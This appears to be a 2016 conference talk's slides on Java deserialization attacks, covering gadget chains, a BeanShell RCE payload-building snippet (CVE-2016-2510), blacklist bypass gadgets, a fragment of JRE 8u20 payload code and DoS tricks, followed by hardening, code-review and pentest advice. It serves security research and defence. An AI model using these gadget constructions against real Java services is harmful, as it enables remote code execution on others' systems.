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Surviving the ~~Java~~ JVM Serialization Apocalypse

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Why this talk?

- Java deserialization attacks have been known for years
 - Relatively new gadget in *Apache Commons-Collections* made the topic available to a broader audience in 2015
- Some inaccurate advice to protect your applications is making the rounds
 - In this talk we'll demonstrate the weakness of this advice by ...
 - ... **showing you new RCE gadgets**
 - ... **showing you bypasses**
- We'll give advice how to spot this vulnerability and its gadgets during ...
 - ... **code reviews** (i.e. showing you what to look for)
 - ... **pentests** (i.e. how to generically test for such issues)



Quick Poll

```
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
```




**Deserializing user-controlled data will get you compromised in the worst case ...
... and probably will crash your JVM in the best.**

Spoiler Alert



JAVA (DE)SERIALIZATION 101

- Taking a snapshot of an **object graph** as a **byte stream** that can be used to reconstruct the object graph to its original state
- Only object **data** is serialized, not the code
- The code sits on the Classpath of the deserializing end




Attack Surface

- Usages of Java serialization in protocols/formats/products:
 - RMI (Remote Method Invocation)
 - JMX (Java Management Extension)
 - JMS (Java Messaging System)
- Spring Service Invokers
 - HTTP, JMS, RMI, etc.
- Android
- AMF (Action Message Format)
- JSF ViewState
- WebLogic T3
- ...



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Java Deserialization in a Nutshell




ABUSING “MAGIC METHODS”

- Abusing "magic methods" of gadgets which have dangerous code:
 - Attacker controls member fields / fields' values of serialized object
 - Upon deserialization **.readObject()** / **.readResolve()** is invoked
 - Implementation of this method in gadget class uses attacker-controlled fields
- Aside from the classic ones also lesser-known "magic methods" help:
 - **.validateObject()** as part of validation (which does not prevent attacks)
 - **.readObjectNoData()** upon serialization conflicts
 - **.finalize()** as part of GC (even after errors)
- Works also for Externalizable's **.readExternal()**




Triggering Execution via "Magic Methods"



Toy Example

```
public class DangerousToy implements Serializable {  
    private String command;  
  
    ...  
  
    public final Object readObject(ObjectInputStream ois)  
        throws OptionalDataException, ClassNotFoundException, IOException {  
        ois.defaultReadObject();  
        Runtime.getRuntime().exec(command);  
    }  
}
```





ONE DOES NOT SIMPLE

GET REMOTE CODE EXECUTION

imgflip.com



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Apache Commons Collections Gadget

```
Gadget chain:  
ObjectInputStream.readObject()  
    AnnotationInvocationHandler.readObject()  
        Map(Proxy).entrySet()  
            AnnotationInvocationHandler.invoke()  
                LazyMap.get()  
                    ChainedTransformer.transform()  
                        ConstantTransformer.transform()  
                        InvokerTransformer.transform()  
                            Method.invoke()  
                                Class.getMethod()  
                        InvokerTransformer.transform()  
                            Method.invoke()  
                                Runtime.getRuntime()  
                        InvokerTransformer.transform()  
                            Method.invoke()  
                                Runtime.exec()
```

Requires:
commons-collections

Credits:
Chris Frohoff (@frohoff)
Gabriel Lawrence (@gebl)




WHAT IF THERE IS NO INTERESTING CODE REACHED BY MAGIC METHODS?



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Proxy to the rescue



Exploiting InvocationHandler (IH) Gadgets

- Attacker steps upon serialization:
 - Attacker **controls member fields** of IH gadget, which **has dangerous code**
 - IH (as part of Dynamic Proxy) gets serialized by attacker **as field on which an innocuous method is called** from "magic method" (of class to deserialize)
- Application steps upon deserialization:
 - "Magic Method" of "Trigger Gadget" calls **innocuous method** on an **attacker controlled field**
 - This call is **intercepted by proxy** (set by attacker as this field) and **dispatched to IH**
- Other IH-like types exist aside from `java.lang.reflect.InvocationHandler`
 - `javassist.util.proxy.MethodHandler`
 - + `org.jboss.weld.bean.proxy.MethodHandler`

}

no requirement to implement interface



Toy Example: Trigger Gadget

```
public class TriggerGadget implements Serializable {  
    private Comparator comp; ←  
    ...  
    public final Object readObject(ObjectInputStream ois) throws Exception {  
        ois.defaultReadObject();  
        comp.compare("foo", "bar");  
    } ←  
}
```

Attacker controls this field, so it can set it to anything implementing `java.util.Comparator` ... anything, even a Proxy

Proxy will intercept call to “compare()” and dispatch it to its Invocation Handler



Toy Example: Dangerous IH

```
public class DangerousHandler implements Serializable, InvocationHandler {  
    private String command;  
  
    ...  
  
    public Object invoke(Object proxy, Method method, Object[] args) {  
        Runtime.getRuntime().exec(command);  
    }  
}
```

Payload execution



New RCE gadget in BeanShell (CVE-2016-2510)

- **bsh.XThis\$Handler**
- Serializable
- InvocationHandler
- Upon function interception custom BeanShell code will be called
- Almost any Java code can be included in the payload
- In order to invoke the payload a trigger gadget is needed to dispatch the execution to the InvocationHandler invoke method



New RCE gadget in BeanShell (CVE-2016-2510)

```
1 String payload = "compare(Object foo, Object bar) {" +
2     "    new java.lang.ProcessBuilder(new String[]{" + "calc.exe" + }).start();return 1;" +
3 "}";
4
5 // Create Interpreter
6 Interpreter i = new Interpreter();
7 i.eval(payload);
8
9 // Create Proxy/InvocationHandler
10 XThis xt = new XThis(i.getNameSpace(), i);
11 InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
12 Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader, new Class<?>[]{Comparator.class}, handler);
13
14 // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
15 final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
16 Object[] queue = new Object[] {1,1};
17 setFieldValue(priorityQueue, "queue", queue);
18 setFieldValue(priorityQueue, "size", 2);
```



MITIGATION ADVICES

Mitigation Advice #1: Remove Gadget




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Tons of Gadgets

- Spring AOP (by Wouter Coekaerts in 2011)
- First public exploit: (by @pwntester in 2013)
- Commons-fileupload (by Arun Babu Neelicattu in 2013)
- Groovy (by cpnrodzc7 / @frohoff in 2015)
- Commons-Collections (by @frohoff and @gebl in 2015)
- Spring Beans (by @frohoff and @gebl in 2015)
- Serial DoS (by Wouter Coekaerts in 2015)
- SpringTx (by @zerothinking in 2016)
- JDK7 (by @frohoff in 2016)
- Beanutils (by @frohoff in 2016)
- Hibernate, MyFaces, C3P0, net.sf.json, ROME (by M. Bechler in 2016)
- Beanshell, Jython, lots of bypasses (by @pwntester and @cschneider4711 in 2016)
- JDK7 Rhino (by @matthias_kaiser in 2016)



Mitigation Advice #1: Remove Gadget



Mitigation Advice #2: AdHoc Security Manager

```
InputStream is = request.getInputStream();
// Install Security Manager
System.setSecurityManager(new MyDeserializationSM());
// Deserialize the data
ObjectInputStream ois = new ObjectInputStream(ois);
ois.readObject();
// Uninstall (restore) Security Manager
System.setSecurityManager(null);
```



Attackers can defer execution:

- `finalize()` method
- Play with expected types (i.e return valid types for the cast which fire later)

If you can uninstall/restore the `SecurityManager` or refresh the policy, attackers might be able to do it as well

Mitigation Advice #2: AdHoc Security Manager

```
InputStream is = ...; // Create an InputStream();
// Install Security Manager
System.setSecurityManager(new AdHocSecurityManagerInitializationSource());
// Deserialize the data
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
// Uninstall (restore) Security Manager
System.setSecurityManager(null);
```

Attackers can defer execution:

- `finalize()` method
- Play with expectations

Attackers can return valid types for the case.

If you can uninstall the security manager (`System.setSecurityManager(null)`), the attacker will not be able to do it as well.




Mitigation Advice #3: Defensive Deserialization

```
class DefensiveObjectInputStream extends ObjectInputStream {  
  
    @Override  
    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {  
        String className = cls.getName();  
        if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */ ) {  
            throw new InvalidClassException("Unexpected serialized class", className);  
        }  
        return super.resolveClass(cls);  
    }  
}
```



How did vendors handle this recently?

Vendor / Product	Type of Protection
Atlassian Bamboo	Removed Usage of Serialization
Apache ActiveMQ	LAOIS Whitelist
Apache Batchee	LAOIS Blacklist + optional Whitelist
Apache JCS	LAOIS Blacklist + optional Whitelist
Apache openjpa	LAOIS Blacklist + optional Whitelist
Apache Owb	LAOIS Blacklist + optional Whitelist
Apache TomEE	LAOIS Blacklist + optional Whitelist
***** (still to be fixed)	LAOIS Blacklist



Bypassing Blacklists Like a Pro ;-)



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Bypassing LookAhead Blacklists

- New gadget type to bypass ad-hoc look-ahead ObjectInputStream blacklist protections:

```
public class NestedProblems implements Serializable {  
    private byte[] bytes ... ;  
    ...  
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));  
        ois.readObject();  
    }  
}
```

- During deserialization of the object graph, a new immaculate unprotected ObjectInputStream will be instantiated
- Attacker can provide any arbitrary bytes for unsafe deserialization
- Bypass does not work for cases where ObjectInputStream is instrumented



ROMA
MMXVI

Is this for real or is this just fantasy?

Currently we found many bypass gadgets:

JRE: 2

Third Party Libraries:

Apache libraries: 6

Spring libraries: 1

Other popular libraries: 2

Application Servers:

WildFly (JBoss): 2

IBM WebSphere: 15

Oracle WebLogic: 5

Apache TomEE: 5

Apache Tomcat: 2

Oracle GlassFish: 2

SerialKiller: Bypass Gadget Collection:

<https://github.com/pwntester/SerialKillerBypassGadgetCollection>



Example: Bypass AdHoc SecurityManager and Blacklists

javax.media.jai.remote.SerializableRenderedImage

```
finalize() > dispose() > closeClient()
1  private void closeClient() {
2
3      // Connect to the data server.
4      Socket socket = connectToServer();
5
6      // Get the socket output stream and wrap an object
7      // output stream around it.
8      OutputStream out = null;
9      ObjectOutputStream objectOut = null;
10     ObjectInputStream objectIn = null;
11     try {
12         out = socket.getOutputStream();
13         objectOut = new ObjectOutputStream(out);
14         objectIn = new ObjectInputStream(socket.getInputStream());
15     } catch (IOException e) { ... }
16     objectIn.readObject();
```



Attacking Whitelists: DOS attacks

- **SerialDOS** by **Wouter Coekaerts**
 - HashSet Billion-Laughs Style
- **jInfinity** by **Arshan Dabiriaghi**
 - Size-uninitialized StringBuilder may be abused by huge strings to allocate a large amount of growing character arrays
- **OIS-DOS** by **Tomáš Polešovský**
 - Heap overflow when deserializing specially crafted nested ArrayLists, HashMaps or Object arrays
 - Hashtable collision
 - Uses an Integer overflow to force underlying array to be length 1 and so creating collisions when adding items with same hashCode
 - HashMap collision
 - Number of buckets is directly controllable by attacker
 - Oracle response: **Won't fix**: Serialization should only be used in **trusted environments**



Mitigation Advice #3: Defensive Deserialization

```
class DefensiveObjectInputStream extends ObjectInputStream {  
  
    @Override  
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
        String className = desc.getName();  
        if (/* CHECK CLASS NAME AGAINST ALLOWED TYPES */ !allowed(className)) {  
            throw new InvalidClassException("Unallowed class", className);  
        }  
        return super.resolveClass(desc);  
    }  
}
```



"GOLDEN GADGETS"

Pure JRE Gadgets

AnnotationInvocationHandler Gadget

- “More serialization hacks with AnnotationInvocationHandler”
 - 9 Nov 2015 by Wouter Coekaerts (@WouterCoekaerts)
 - <http://wouter.coekaerts.be/2015/annotationinvocationhandler>
- AnnotationInvocationHandler.equalsImpl()
 - *“When we call equals on an annotation and give it an object implementing the same interface but not using AnnotationInvocationHandler, then it goes through all the methods on the interface and calls them on that object”*



JRE 7u21 Gadget

- 18 Dec 2015 By Chris Frohoff (@frohoff)
 - <https://gist.github.com/frohoff/24af7913611f8406eaf3>
- *LinkedHashSet*
 - *readObject() recover items from stream and call HashMap.put()*
 - *checks key's hash code and if it already contains an item with same hash code, calls equals()*



JRE 7u21 Gadget

HashMap

PayloadObj

a6f7b19c

Proxy (PayloadType)

AnnotationInvocationHandler

memberValues

“f5a5a608”

PayloadObj

a6f7b19c



JRE 7u25 Fix

```
1  private void readObject(java.io.ObjectInputStream s)
2      throws java.io.IOException, ClassNotFoundException {
3      s.defaultReadObject();
4
5      // Check to make sure that types have not evolved incompatibly
6
7      AnnotationType annotationType = null;
8      try {
9          annotationType = AnnotationType.getInstance(type);
10     } catch(IllegalArgumentException e) {
11         // Class is no longer an annotation type; time to punch out
12         throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream")
13     }
14     ...
...
```



Catch the exception

- Back to Wouter post on AnnotationInvocationHandler tricks ...
- Modify the serialized stream and inject an object that catches the exception. Eg:
 - `java.beans.beancontext.BeanContextSupport`

```
1  while (count-- > 0) {  
2      Object             child = null;  
3      BeanContextSupport.BCSChild bscC  = null;  
4  
5      try {  
6          child = ois.readObject();  
7          bscC  = (BeanContextSupport.BCSChild)ois.readObject();  
8      } catch (IOException ioe) {  
9          continue;  
10     }  
11     ...  
12 }
```




New JRE 8u20 Gadget

Chris Frohoff Gadget

Wouter's Technique

Time :)



New JRE 8u20 Gadget

<https://gist.github.com/pwntester/ab70e88821b4a6633c06>

~200 lines of payload
construction code

```
Object[] objs = new Object[1];
STREAM_MARSHALLER.readObject(ois);
VERSION, // stream headers
        .class.getName(),
-507679971038690L,
(byte) 2, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
HashSet.class.getName(),
-5024744406713321676L,
(byte) 3, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// Block data that will be read by HashSet.readObject()
// Used to configure the HashSet (capacity, loadFactor, size
TC_BLOCKDATA,
(byte) 12,
(short) 0,
(short) 16, // capacity
(short) 16192, (short) 0, (short) 0, // loadFactor
(short) 2, // size
```

```
// (3) Field values
// value for the dummy field <--- BeanContextSupport.
// this field does not actually exist in the Proxy class, so after deserialization this object is ignored.
// (4) BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 1, // field count
(byte) 'I', "serializable", // serializable field, number of serializable children
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
BeanContextChildSupport.class.getName(),
6328947014421475877L,
SC_SERIALIZABLE,
(short) 1, // field count
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (4) Field values
// beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go
TC_REFERENCE, baseWireHandle + 12,
// serializable: one serializable child
1,

// now we add an extra object that is not declared, but that will be read/consumed by readObject
// BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is
// so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler
// At this point we enter the readObject of the ah that will throw an exception after deserializing its de

// (5) AIH that will be serialized as part of the BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 2, // field count
```



WHAT ABOUT OTHER LANGUAGES ON THE JVM?

Scala & Groovy

```
import java.io._  
object SerializationDemo extends App {  
    val ois = new ObjectInputStream(new FileInputStream("exploit.ser"))  
    val o = ois.readObject()  
    ois.close()  
}
```

```
import java.io.*  
File exploit = new File('exploit.ser')  
try {  
    def is = exploit.newObjectInputStream(this.class.classLoader)  
    is.eachObject { println it }  
} catch (e) { throw new Exception(e) } finally { is?.close() }
```



Source code: <https://github.com/pwntester/JVMDeserialization>

WHAT TO DO THEN?



How to Harden Your Applications?

DO NOT DESERIALIZED UNTRUSTED DATA!!

- When architecture permits it:
 - Use other formats instead of serialized objects: JSON, XML, etc.
 - But be aware of XML-based deserialization attacks via XStream, XmlDecoder, etc.

As second-best option:

- Use defensive deserialization with look-ahead OIS with a **strict whitelist**
 - Don't rely on gadget-blacklisting alone!
 - You can build the whitelist with OpenSource agent **SWAT**
(Serial Whitelist Application Trainer: <https://github.com/cschnieder4711/SWAT>)
 - Prefer an agent-based instrumenting of ObjectInputStream towards LAOIS
 - Scan your own whitelisted code for potential gadgets
 - Still be aware of DoS scenarios



FINDING VULNERABILITIES & GADGETS IN THE CODE

SAST Tips

Finding deserialization endpoints

- Check **your endpoints** for those **accepting (untrusted) serialized data**
- Find calls to:
 - **ObjectInputStream.readObject()**
 - **ObjectInputStream.readUnshared()**
- Where InputStream is attacker-controlled. For example:

```
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
```

- May happen in **library code**. Eg: JMS, JMX, RMI, Queues, Brokers, Spring
HTTPInvokers, etc ...



Finding gadgets in a Haystack

- Check your code for potential gadgets, which could be used in deserialization
- "Gadget Space" is too big. Typical app-server based deployments have hundreds of JARs
- SAST tools such as **HPE Security Fortify SCA** might help

Look for interesting method calls ...

java.lang.reflect.Method.invoke()
java.io.File()
java.io.ObjectInputStream()
java.net.URLClassLoader()
java.net.Socket()
java.net.URL()
javax.naming.Context.lookup()

... reached by:

java.io.Externalizable.readExternal()
java.io.Serializable.readObject()
java.io.Serializable.readObjectNoData()
java.io.Serializable.readResolve()
java.io.ObjectInputValidation.validateObject()
java.lang.reflect.InvocationHandler.invoke()
java.lang.Object.finalize()
Serializable InvocationHandlers ...



WHAT TO CHECK DURING PENTESTS?

DAST Tips

Passive deserialization endpoint detection

- Find **requests** (or any network traffic) carrying serialized Java objects:
 - Easy to spot due to magic bytes at the beginning: **0xAC 0xED ...**
 - Some web-apps might use Base64 to store serialized data in Cookies, etc.: **rO0AB ...**
 - Be aware that compression could've been applied before Base64
 - **0x1F8B 0x0800 ...**
 - **H4sIA ...**
- **Tools**
 - Use professional scanners for enterprise-level scans
 - Use Free **ZAP/Burp** Plugins such as **SuperSerial** to passively scan for Java serialization
 - Use **WireShark** for network traffic
 - If allowed to instrument the app use runtime agents such as **SWAT** to find out if anything gets deserialized



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... and remember:
DO NOT DESERIALIZED
UNTRUSTED DATA!!

Q & A / Thank You !

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FAQ:

<https://Christian-Schneider.net/JavaDeserializationSecurityFAQ.html>

Whitepaper:

<https://community.hpe.com/t5/Security-Research/The-perils-of-Java-deserialization/ba-p/6838995>